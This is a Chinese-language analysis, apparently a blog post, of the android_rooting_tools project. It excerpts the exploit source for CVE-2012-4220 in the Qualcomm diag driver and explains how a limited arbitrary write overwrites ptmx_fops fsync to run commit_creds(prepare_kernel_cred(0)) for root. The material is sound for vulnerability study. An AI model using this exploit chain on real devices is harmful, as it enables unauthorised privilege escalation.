android_rooting_tools 项目介绍（CVE-2012-4220）

android_rooting_tools是GITHUB上的一个Android内核漏洞提权项目，包含多套内核漏洞的exploit代码：

EXPLOIT	CVE	简单描述
libdiagexploit	CVE-2012-4220	任意地址写有限任意值
libfb_mem_exploit	CVE-2013-2596	整数溢出导致remap_pfn_range校验绕过
libfj_hdcp_exploit	未知	…
libfutex_exploit	CVE-2014-3153	UAF, TowelRoot
libget_user_exploit	CVE-2013-6282	get_user边界未校验致任意地址写
libmsm_acdb_exploit	CVE-2013-2597	栈溢出
libmsm_cameraconfig_exploit	CVE-2013-2595	…
libperf_event_exploit	CVE-2013-2094	…
libpingpong_exploit	CVE-2015-3636	UAF, Pingpong Root
libput_user_exploit	CVE-2013-6282	put_user边界未校验致任意地址写

下面通过 libdiagexploit 这份漏洞利用代码，分析一下项目源码。

libdiagexploit利用的CVE-2012-4220，这是一个驱动设备ioctl接口的任意地址写有限的任意值漏洞。

漏洞代码如下：

  8  long diagchar_ioctl(struct file *filp,
  9          unsigned int iocmd, unsigned long ioarg)
/* ... */  
  18   if (iocmd == DIAG_IOCTL_COMMAND_REG) {
/* ... */
 72   } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
 73     struct diagpkt_delay_params *delay_params =
 74           (struct diagpkt_delay_params *) ioarg;
 75 
 76     if ((delay_params->rsp_ptr) &&
 77      (delay_params->size == sizeof(delayed_rsp_id)) &&
 78          (delay_params->num_bytes_ptr)) {
 79       *((uint16_t *)delay_params->rsp_ptr) =
 80         DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
 81       *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
 82       success = 0;
 83     }
 84   } else if (iocmd == DIAG_IOCTL_DCI_REG) {
 /* ... */

在处理DIAG_IOCTL_GET_DELAYED_RSP_ID命令时，ioarg由用户态的ioctl调用传入，其值完全受用户控制，上述漏洞代码在进行delay_params->rsp_ptr和delay_params->num_bytes_ptr赋值时，未校验其地址合法性：

*((uint16_t *)delay_params->rsp_ptr) =
          DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);

#define DIAGPKT_MAX_DELAYED_RSP 0xFFFF

#define DIAGPKT_NEXT_DELAYED_RSP_ID(x)         
((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)

DIAGPKT_NEXT_DELAYED_RSP_ID宏使用全局变量delayed_rsp_id值每次加1，其范围被限制在2-0xFFFF之间，因此通过多次调用此接口，可以达成任意地址写有限的任意值。

下面分析android_rooting_tools如何利用这个漏洞提权。

android_rooting_tools的入口函数在main.c:

int
main(int argc, char **argv)
{
/* ... */
  device_detected();

  if (!setup_variables()) {
    printf("Failed to setup variables.
");
    exit(EXIT_FAILURE);
  }

  run_exploit();

  if (getuid() != 0) {
    printf("Failed to obtain root privilege.
");
    exit(EXIT_FAILURE);
  }
/* ... */
}

首先通过device_detected()函数获得设备信息，android_rooting_tools通过sqlite数据库存放了一些已知设备的符号地址等硬编码信息，如果匹配到的话，就不需要计算直接赋值。

这是比较有用的，比如某些设备打开了kptr_strict，读取不到符号地址，通过查询数据库也可以达到相同目的。

setup_variables()来进行几个全局变量初始化工作，包括：

1. prepare_kernel_cred() 函数地址
2. commit_creds() 函数地址
3. ptmx_fops 结构地址

为了尽可能保证取到这3个符号地址，android-rooting-tools使用了3种方式

1. 读取数据库（device_get_symbol_address函数）
2. 通过/proc/kallsyms读取（kallsyms_get_symbol_address函数）
3. 通过内存暴力搜索（run_with_mmap或run_with_memcpy函数）

根据初始化信息，可以看出android-rooting-tools使用的是一个非常常用的提权套路：

1. 提权的shellcode在用户地址空间，主要代码是 commit_creds(prepare_kernel_cred(0));
2. 在ptmx_fops结构中，通过+0x38偏移，找到fsync()函数地址
3. 通过任意直址写漏洞，将fsync()地址替换成shellcode 地址
4. 用户态调用fsync(fd)，触发shellcode执行，完成提权

继续看，run_exploit()是完成提权的主要代码。然后通过getuid()判断提权是否成功。

static bool
run_exploit(void)
{
/* ... */
  return attempt_exploit(ptmx_fops_fsync_address,
                (unsigned long int)&obtain_root_privilege, 
                0,
                run_obtain_root_privilege, 
                NULL);
}

run_exploit主要调用了attempt_exploit函数，其中ptmx_fops_fsync_address是fsync符号地址，可以看到它是从ptmx_fops+0x38处取的：

ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;

参数obtain_root_privilege传入的是shellcode的函数指针，run_obtain_root_privilege是一个回调函数，用于在准备条件完成后，进行提权操作：

static bool
run_obtain_root_privilege(void *user_data)
{
/* ... */
  obtain_root_privilege_func = obtain_root_privilege_by_commit_creds;

  fd = open(PTMX_DEVICE, O_WRONLY);
  ret = fsync(fd);

  if (getuid() != 0) {
    printf("commit_creds(): failed. Try to hack task->cred.
");

    obtain_root_privilege_func = obtain_root_privilege_by_modify_task_cred;
    ret = fsync(fd);
  }
/* ... */
}

可以看到，代码首先使用commit_creds进行提权，当提权失败时，使用了另一种直接修改task_cred结构的方式提权，这里先暂不介绍。

attempt_exploit中使用了多种漏洞利用代码进行提权，这些漏洞类型包含在上面介绍的列表中：

bool
attempt_exploit(unsigned long int address, //fsync地址
                unsigned long int write_value,  //shellcode地址
                unsigned long int restore_value,
                exploit_callback_t callback_func,
                void *callback_param)
{
  callback_info_t info;
/* 设置回调函数及参数 */
  info.func = callback_func;
  info.param = callback_param;
  info.result = false;

  // Attempt exploits in most stable order
/* 提权操作 */
  printf("Attempt acdb exploit...
");
/* ... */
  if (attempt_diag_exploit(address, write_value, &info)) {
    return info.result;
  }
}

代码只保留attempt_diag_exploit，也就是针对CVE-2012-4220的漏洞利用，其中info中包含的是漏洞利用是否成功的状态，和回调函数地址。

static bool
attempt_diag_exploit(unsigned long int address, //fsync地址
                     unsigned long int write_value, //shellcode地址
                     callback_info_t *info)
{
  struct diag_values injection_data;

  if (write_value > (uint16_t)-1) {
    return false;
  }

  injection_data.address = address;
  injection_data.value = (uint16_t)write_value;

  return diag_run_exploit(&injection_data, 1, &run_callback, info);
}

diag_run_exploit在libdiagexploit目录下的diag.c文件实现：

bool
diag_run_exploit(struct diag_values *data, int data_length,
                 bool(*exploit_callback)(void* user_data), void *user_data)
{
  fd = open("/dev/diag", O_RDWR);
  success = diag_inject_with_fd(data, data_length, fd);

  if (success) {
    success = exploit_callback(user_data);
    restore_values(data, data_length, fd);
  }
/* ... */
}

主要有3个功能
1. diag_inject_with_fd()修改fsync地址为shellcode地址
2. 用户态调用fsync()触发提权
3. 调用restore_values()恢复fsync原始值

因此，核心代码在diag_inject_with_fd中：

bool
diag_inject_with_fd(struct diag_values *data, int data_length, int fd)
{
/* ... */
//data_length = 1
  for (i = 0; i < data_length; i++) {
    if (!inject_value(&data[i], fd, delayed_rsp_id_address)) {
      return false;
    }
  }
/* ... */
}

diag_inject_with_fd()函数中，先获取delay_rsp_id变量的地址，并调用inject_value()进行实际的任意地址修改，这里注意for循环中，传入的data_length为1：

static bool
inject_value(struct diag_values *data,
             int fd, void *delayed_rsp_id_address)
{
/* 获取当前delayed_rsp_id值，用于还原 */
  ret = get_current_delayed_rsp_id(fd);
/* ... */
  data->original_value = delayed_rsp_id_value;
/* 如果要写入的大于delayed_rsp_id，则重置为2（2-0xFFFF）
    因为DIAGPKT_NEXT_DELAYED_RSP_ID宏会递增这个值，
    注意我们只能控制16位即2字节的数据，如果需要写一个32位地址需写2次
 */
  if (delayed_rsp_id_value > data->value &&
    reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
    return false;
  }
/* 每次调用使delayed_rsp_id值加1，这里计算需要调用的次数 */
  loop_count = (data->value - delayed_rsp_id_value) & 0xffff;

  for (i = 0; i < loop_count; i++) {
    int unused;
    if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
      return false;
    }
  }
  return true;
}

最终for循环的最后一次调用 send_delay_params(fd, (void *)data->address, &unused) 会将 data->address 赋值为 delayed_rsp_id 的值，也就是有限范围内（2-0xFFFF）我们指定的一个任意值。

由上面传递参数可以知道，data->address即fsync地址，最终的delayed_rsp_id是data->value值，也即shellcode地址。

delayed_rsp_id的值通过DIAG_IOCTL_GET_DELAYED_RSP_ID命令获取，其它reset等操作类似：

  struct diagpkt_delay_params params;

  params.rsp_ptr = target_address;
  params.size = 2;
  params.num_bytes_ptr = stored_for_written_bytes;

  ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &params);

到目前为止，我们已经将内核fsync函数地址改为了用户态shellcode的地址，只要在用户态调用fsync()函数，系统将会通过中断调用到内核态fsync函数，执行shellcode实现提权。